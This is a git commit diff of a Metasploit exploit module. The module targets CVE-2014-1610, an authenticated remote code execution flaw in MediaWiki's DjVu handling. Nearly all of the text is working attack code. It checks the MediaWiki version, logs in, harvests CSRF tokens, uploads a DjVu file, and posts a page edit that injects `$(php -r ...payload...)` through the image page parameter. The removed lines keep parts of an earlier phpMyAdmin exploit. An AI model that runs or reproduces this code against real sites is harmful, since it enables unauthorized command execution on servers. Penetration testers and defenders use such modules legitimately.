bug/bundler_fix
Meatballs 2014-02-01 00:26:55 +00:00
parent 7fa1522299
commit 700c6545f0
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 167 additions and 135 deletions

View File

@ -4,6 +4,7 @@
##
require 'msf/core'
require 'nokogiri'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@ -12,80 +13,118 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'MediaWiki Remote Code Execution',
'Name' => 'MediaWiki DjVu Authenticated Remote Code Execution',
'Description' => %q{
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
when DjVu file upload support is enabled, allows remote authenticated
users to execute arbitrary commands via shell metacharacters in the page
parameter to includes/media/DjVu.php
},
'Author' =>
[
'Janek "waraxe" Vind', # Discovery
'Netanel Rubin', # from Check Point - Discovery
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', # Metasploit Module
'Ben Harris'
'Ben Harris' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3238' ],
[ 'PMASA', '2013-2'],
[ 'waraxe', '2013-SA#103' ],
[ 'EDB', '25003'],
[ 'OSVDB', '92793'],
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
[ 'CVE', '2014-1610' ],
[ 'OSVDB', '102630'],
[ 'URL', 'http://www.checkpoint.com/threatcloud-central/articles/2014-01-28-tc-researchers-discover.html' ],
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Arch' => ARCH_PHP, # Could do ARCH_CMD
'Payload' =>
{
'BadChars' => "&\n=+%",
# Clear out PMA's error handler so it doesn't lose its mind
# and cause ENOMEM errors and segfaults in the destructor.
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
'BadChars' => "", # http://www.mediawiki.org/wiki/Help:Formatting
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 25 2013'))
'DisclosureDate' => 'Jan 28 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/index.php']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
OptString.new('TARGETURI', [ true, "Base index.php path", '/index.php']),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
], self.class)
end
def check
uri = target_uri.path
response = send_request_cgi({
'uri' => normalize_uri(uri, 'Main_Page')
})
if response and response.code == 200
response_html = Nokogiri::HTML(response.body)
meta_generator = response_html.xpath("//meta[@name='generator']").first['content']
if meta_generator && meta_generator =~ /mediawiki/i
vprint_status("#{meta_generator} detected.")
meta_generator =~ /(\d)\.(\d)+\.(\d)+/
major = $1.to_i
minor = $2.to_i
patch = $3.to_i
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
if major != 1
return CheckCode::Safe
else
if minor < 8 || minor > 22
return CheckCode::Safe
else
if minor == 22 && patch > 1
return CheckCode::Safe
elsif minor == 21 && patch > 4
return CheckCode::Safe
elsif minor == 19 && patch > 10
return CheckCode::Safe
else
return CheckCode::Appears
end
end
end
end
else
return Exploit::CheckCode::Detected
end
end
def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
uri = target_uri.path
print_status("Grabbing CSRF token...")
print_status("Grabbing login CSRF token...")
response = send_request_cgi({
'uri' => uri,
'vars_get' => { 'title' => 'Special:UserLogin' }
})
if response.nil?
unless response
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
end
session_cookie = response.get_cookies
if (response.body !~ /"wpLoginToken"\s*value="([^"]*)"/)
response_html = Nokogiri::HTML(response.body)
wp_login_token = get_token_value(response_html, 'wpLoginToken')
unless wp_login_token
fail_with(Failure::NotFound, "Couldn't find login token. Is URI set correctly?")
else
print_good("Retrieved login token")
print_good("Retrieved login CSRF token.")
end
wp_login_token = $1
puts wp_login_token.inspect
print_status("Attempting to login...")
login = send_request_cgi({
'uri' => uri,
'method' => 'POST',
@ -103,143 +142,136 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
if login.nil?
fail_with(Failure::NotFound, "Failoed to retrieve webpage.")
if login and login.code == 302
print_good("Log in successful.")
else
fail_with(Failure::NotFound, "Failed to log in.")
end
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
edit = send_request_cgi({
print_status("Getting upload CSRF token...")
upload_file = send_request_cgi({
'uri' => normalize_uri(uri, "/Special:Upload"),
'cookie' => auth_cookie
})
if edit.nil?
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
unless upload_file and upload_file.code == 200
fail_with(Failure::NotFound, "Failed to access file upload page.")
end
if (edit.body !~ /"wpEditToken".*value="([^"]*)"/)
fail_with(Failure::NotFound, "Couldn't find edit token. Is URI set correctly?")
upload_file_html = Nokogiri::HTML(upload_file.body)
wp_edit_token = get_token_value(upload_file_html, 'wpEditToken')
wp_upload = get_token_value(upload_file_html, 'wpUpload')
title = get_token_value(upload_file_html, 'title')
unless wp_edit_token
fail_with(Failure::NotFound, "Couldn't find upload token. Is URI set correctly?")
else
print_good("Retrieved edit token")
print_good("Retrieved upload CSRF token.")
end
wp_edit_token = $1
upload_mime = Rex::MIME::Message.new
djvu_file = ::File.read(::File.join(Msf::Config.data_directory, "exploits", "Alice_in_Wonderland.djvu"))
file_name = rand_text_alpha(4)
file_name = "#{rand_text_alpha(4)}.djvu"
#upload_mime.add_part(djvu_file, "application/octet-stream", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}.djvu\"")
#upload_mime.add_part("#{file_name}.djvu", nil, nil, "form-data; name=\"wpDestFile\"")
#upload_mime.add_part("", nil, nil, "form-data; name=\"wpUploadDescription\"")
#upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
#upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
#upload_mime.add_part("Special:Upload", nil, nil, "form-data; name=\"title\"")
#upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
#upload_mime.add_part("Upload file", nil, nil, "form-data; name=\"wpUpload\"")
content_sep= "---------------------------23909616611238\r\n"
upload_mime.add_part(djvu_file, "application/octet-stream", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"")
upload_mime.add_part("#{file_name}", nil, nil, "form-data; name=\"wpDestFile\"")
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
post_data = upload_mime.to_html
upload_mime = content_sep
upload_mime << "Content-Disposition: form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"\r\n"
upload_mime << "Content-Type: application/octet-stream\r\n"
upload_mime << djvu_file
upload_mime << "Content-Disposition: form-data; name=\"wpDestFile\"\r\n"
upload_mime << "\r\n"
upload_mime << "#{file_name}\r\n"
upload_mime << content_sep
upload_mime << "Content-Disposition: form-data; name=\"wpUploadDescription\"\r\n"
upload_mime << "\r\n"
upload_mime << content_sep
upload_mime << "Content-Disposition: form-data; name=\"wpLicense\"\r\n"
upload_mime << "\r\n"
upload_mime << content_sep
upload_mime << "Content-Disposition: form-data; name=\"wpEditToken\"\r\n"
upload_mime << "\r\n"
upload_mime << "#{wp_edit_token}\r\n"
upload_mime << content_sep
upload_mime << "Content-Disposition: form-data; name=\"title\"\r\n"
upload_mime << "\r\n"
upload_mime << "Special:Upload\r\n"
upload_mime << content_sep
upload_mime << "Content-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n"
upload_mime << "\r\n"
upload_mime << "1\r\n"
upload_mime << content_sep
upload_mime << "Content-Disposition: form-data; name=\"wpUpload\"\r\n"
upload_mime << "\r\n"
upload_mime << "Upload file"
upload_mime << content_sep
print_status("Uploading DjVu file #{file_name}...")
upload = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "Special:Upload"),
'cookie' => auth_cookie,
'data' => upload_mime.to_s,
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' => 'en-us,en;q=0.5',
'Accept-Encoding' => 'gzip,deflate',
'Connection' => 'Keep-Alive',
},
'ctype' => "multipart/form-data; boundary=#{content_sep.gsub("\r\n")}"
'data' => post_data,
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
'cookie' => auth_cookie
})
puts upload.headers
return
post = {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
print_status("Authenticating...")
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_post' => post
})
if login.nil?
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
end
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
cookies = login.get_cookies
login_check = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'token' => token },
'cookie' => cookies
})
if login_check.body =~ /Welcome to/
fail_with(Failure::NoAccess, "Authentication failed.")
if upload and upload.code == 302 and upload.headers['Location']
location = upload.headers['Location']
print_good("File uploaded to #{location}")
else
print_good("Authentication successful")
fail_with(Failure::Unknown, "Failed to upload file.")
end
db = rand_text_alpha(3+rand(3))
exploit_result = send_request_cgi({
'uri' => normalize_uri(uri, 'db_structure.php'),
random_page = rand_text_alpha(8)
print_status("Retrieving edit CSRF token...")
random_edit = send_request_cgi({
'uri' => uri,
'vars_get' => {
'title'=> random_page,
'action' => 'edit'
},
'cookie' => auth_cookie
})
unless random_edit and random_edit.code == 200
fail_with(Failure::Unknown, "Failed to open target edit page: #{random_page}.")
end
random_html = Nokogiri::HTML(random_edit.body)
wp_auto_summary = get_token_value(random_html, 'wpAutoSummary')
wp_edit_token = get_token_value(random_html, 'wpEditToken')
wp_start_time = get_token_value(random_html, 'wpStarttime')
wp_edit_time = get_token_value(random_html, 'wpEdittime')
old_id = get_token_value(random_html, 'oldid')
wp_scroll_top = get_token_value(random_html, 'wpScrolltop')
wp_section = get_token_value(random_html, 'wpSection')
if wp_edit_token
print_good("Retrieved edit CSRF token.")
else
fail_with(Failure::Unknown, "Failed to retrieve edit CSRF token.")
end
edit_mime = Rex::MIME::Message.new
edit_mime.add_part(wp_section, nil, nil, "form-data; name=\"wpSection\"")
edit_mime.add_part(wp_start_time, nil, nil, "form-data; name=\"wpStarttime\"")
edit_mime.add_part(wp_edit_time, nil, nil, "form-data; name=\"wpEdittime\"")
edit_mime.add_part(wp_scroll_top, nil, nil, "form-data; name=\"wpScrolltop\"")
edit_mime.add_part(wp_auto_summary,nil,nil, "form-data; name=\"wpAutoSummary\"")
edit_mime.add_part(old_id, nil, nil, "form-data; name=\"oldid\"")
edit_mime.add_part("[[Image:#{file_name}|width=9999|page=1$(php -r '#{payload.encoded}')]]", nil, nil, "form-data; name=\"wpTextbox1\"")
edit_mime.add_part("Save page", nil, nil, "form-data; name=\"wpSummary\"")
edit_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
post_data = edit_mime.to_html
print_status("Sending payload request...")
edit = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'cookie' => cookies,
'vars_post' => {
'query_type' => 'replace_prefix_tbl',
'db' => db,
'selected[0]' => db,
'token' => token,
'from_prefix' => "/e\0",
'to_prefix' => payload.encoded,
'mult_btn' => 'Yes'
}
},1)
'cookie' => auth_cookie,
'vars_get' => {
'title' => random_page,
'action' => 'submit'
},
'data' => post_data,
'ctype' => "multipart/form-data; boundary=#{edit_mime.bound}"
}, 1)
if edit
print_error("Payload probably failed...")
end
end
def get_token_value(document, value_name)
return nil unless document
return nil unless value_name
node = document.xpath("//input[@name='#{value_name}']")
return nil unless node
node.first['value']
end
end